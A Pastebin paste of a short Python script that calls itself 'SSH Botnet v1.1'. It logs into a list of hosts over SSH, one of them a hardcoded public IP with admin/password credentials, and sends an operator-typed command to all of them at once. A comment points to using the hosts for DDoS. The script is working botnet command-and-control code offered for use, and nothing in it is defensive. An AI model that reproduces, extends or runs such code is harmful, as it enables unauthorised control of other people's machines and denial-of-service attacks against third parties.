Guest User

Untitled

a guest
May 5th, 2018
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 0
  1. import pxssh
  2.  
  3. print(" __ __ ")
  4. print(".-----.| |_.--.--.-----.|__|.-----.")
  5. print("| _ || _| | | _ || || -__|")
  6. print("|__ ||____|___ | __||__||_____|")
  7. print(" |__| |_____|__| ")
  8. print(" ")
  9. print(" SSH Botnet v1.1 by Kismet \n")
  10.  
  11. cmd = raw_input("[!] What command would you like the send: ")
  12.  
  13. class Client:
  14.  
  15. def __init__(self, ip, user, password):
  16. self.ip = ip
  17. self.user = user
  18. self.password = password
  19. self.session = self.connect()
  20.  
  21. def connect(self):
  22. try:
  23. s = pxssh.pxssh()
  24. s.login(self.ip, self.user, self.password)
  25. return s
  26. except Exception, e:
  27. print e
  28. print '[!] Error Connecting'
  29.  
  30. def send_command(self, cmd):
  31. self.session.sendline(cmd)
  32. self.session.prompt()
  33. return self.session.before
  34.  
  35. def botnetCommand(command):
  36. for client in botNet:
  37. output = client.send_command(command)
  38. print '[*] Output from ' + client.ip
  39. print '[+] ' + output
  40.  
  41. def addClient(ip, user, password):
  42. client = Client(ip, user, password)
  43. botNet.append(client)
  44.  
  45. botNet = []
  46.  
  47. # you can add more by adding: addClient('ip', 'user', 'passwd')
  48.  
  49. addClient('50.226.248.22', 'admin', 'password')
  50.  
  51. # Make sure you have those scipts on the servers if you wish the exec some DDoS ;)
  52.  
  53. botnetCommand(cmd)
Add Comment
Please, Sign In to add comment